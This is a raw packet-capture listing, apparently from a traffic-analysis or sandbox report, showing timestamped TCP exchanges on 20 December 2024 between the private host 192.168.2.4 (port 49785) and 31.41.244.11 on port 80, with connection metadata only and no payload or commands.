Dec 20, 2024 09:12:22.687578917 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.688272953 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.688319921 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.688421965 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.688473940 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.689090967 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.689146996 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.689162970 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.689215899 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.690026999 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.690082073 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.690128088 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.690181971 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.690767050 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.690818071 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.690871000 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.690916061 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.691601992 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.691662073 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.691706896 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.691752911 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.692434072 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.692487955 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.692533016 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.692599058 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.693288088 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.693341017 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.693417072 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.693463087 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.694117069 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.694170952 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.694226980 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.694277048 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.694963932 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.695003986 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.695049047 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.695079088 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.695796967 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.695854902 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.695900917 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.695955038 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.696594954 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.696666002 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.705353022 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.705410957 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.705503941 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.705557108 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.705735922 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.705789089 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.705833912 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.705882072 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.706552982 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.706609964 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.706697941 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.706758022 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.707421064 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.707479000 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.707525015 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.707571983 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.708281994 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.708338022 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.708518028 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.708571911 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.709141016 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.709187984 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.709285975 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.709333897 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.709991932 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.710048914 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.710067987 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.710124969 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.850354910 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.850413084 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.850447893 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.850492001 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.850768089 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.850810051 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.851211071 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.851267099 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.851632118 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.851684093 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.851963997 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.852011919 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.852427006 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.852494001 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.852541924 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.852588892 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.853312016 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.853358030 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.853650093 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.853698015 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.854171991 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.854219913 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.854723930 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.854777098 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.854970932 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.855015993 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.855571032 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.855645895 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.855809927 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.855870962 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.855951071 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.855998993 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.856663942 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.856719017 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.856782913 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.856841087 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.857485056 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.857543945 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.857775927 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.857835054 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.858355045 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.858372927 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.858407021 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.858458996 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.859162092 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.859210968 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.859348059 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.859395027 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.860021114 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.860076904 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.860124111 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.860173941 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.860872984 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.860919952 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.861217976 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.861268997 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.861780882 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.861830950 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.862144947 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.862195969 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.862535000 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.862580061 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.862972021 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.863029957 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.863365889 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.863420963 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.863692045 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.863745928 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.864242077 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.864296913 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.865088940 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.865104914 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.865143061 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.865175009 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.865185022 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.865231037 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.865909100 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.865972996 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.866256952 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.866311073 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.866763115 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.866825104 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.866899967 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.866960049 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.867602110 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.867665052 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.867896080 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.867950916 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.868419886 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.868478060 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.868510962 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.868577003 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.869282961 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.869330883 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.869405985 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.869458914 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.870277882 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.870337963 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.870516062 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.870567083 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.871097088 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.871156931 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.871345043 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.871403933 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.871828079 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.871880054 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.871967077 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.872030973 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.872733116 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.872792006 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.872844934 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.872875929 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.873477936 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.873536110 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.873799086 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.873873949 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.874339104 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.874433994 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.875142097 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.875194073 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.875195026 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.875231981 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.875246048 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.875308990 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.876059055 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.876123905 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.876265049 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.876322985 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.876887083 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.876951933 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.877091885 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.877154112 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.877773046 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.877840042 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.878129959 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.878189087 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.878531933 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.878598928 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.878770113 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.878824949 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.879395962 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.879456997 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.880017996 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.880076885 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.880270958 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.880306005 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.880331993 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.880361080 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.881066084 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.881118059 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.881191015 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.881252050 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.881905079 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.881988049 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.882317066 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.882371902 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.882755041 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.882858992 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.882946014 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.883016109 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.883574963 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.883637905 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.883882999 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.883934975 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.884423971 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.884483099 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.884505033 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.884565115 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.885375977 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.885426998 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.885557890 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.885615110 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.886123896 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.886198044 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.886221886 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.886287928 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.886960983 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.887018919 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.887407064 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.887466908 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.887799025 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.887852907 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.887974977 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.888025045 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.888618946 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.888669968 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.897788048 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.897916079 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.897919893 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.897960901 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.897986889 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.898015976 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.898035049 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.898071051 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.898971081 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.899045944 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.899060011 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.899122000 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.899621964 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.899682999 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.899787903 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.899844885 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.900424004 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.900481939 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.900574923 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.900634050 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.901277065 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.901348114 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.901586056 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.901643991 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.902136087 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.902198076 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.902632952 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.902693033 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:23.042965889 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:23.043118954 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:23.043148041 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:23.043185949 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:23.043353081 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:23.043407917 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:23.043411970 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:23.043456078 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:23.043982983 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:23.044047117 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:23.044146061 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:23.044202089 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:23.044635057 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:23.044687986 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:23.044693947 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:23.044749022 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:23.045435905 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:23.045485020 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:23.045527935 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:23.045586109 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:23.046309948 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:23.046366930 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:23.046694040 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:23.046751976 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:23.047112942 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:23.047168016 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:23.047260046 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:23.047329903 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:23.047960043 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:23.048017979 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:23.048084974 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:23.048130989 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:23.048800945 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:23.048858881 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:23.048990965 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:23.049072027 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:23.049665928 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:23.049725056 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:23.049746037 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:23.049797058 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:23.050506115 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:23.050559998 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:23.050967932 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:23.051022053 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:23.051327944 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:23.051381111 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:23.051480055 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:23.051532984 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:23.052165031 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:23.052220106 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:23.052278042 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:23.052331924 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:23.052995920 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:23.053050041 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:23.053484917 CET	80	49785	31.41.244.11	192.168.2.4
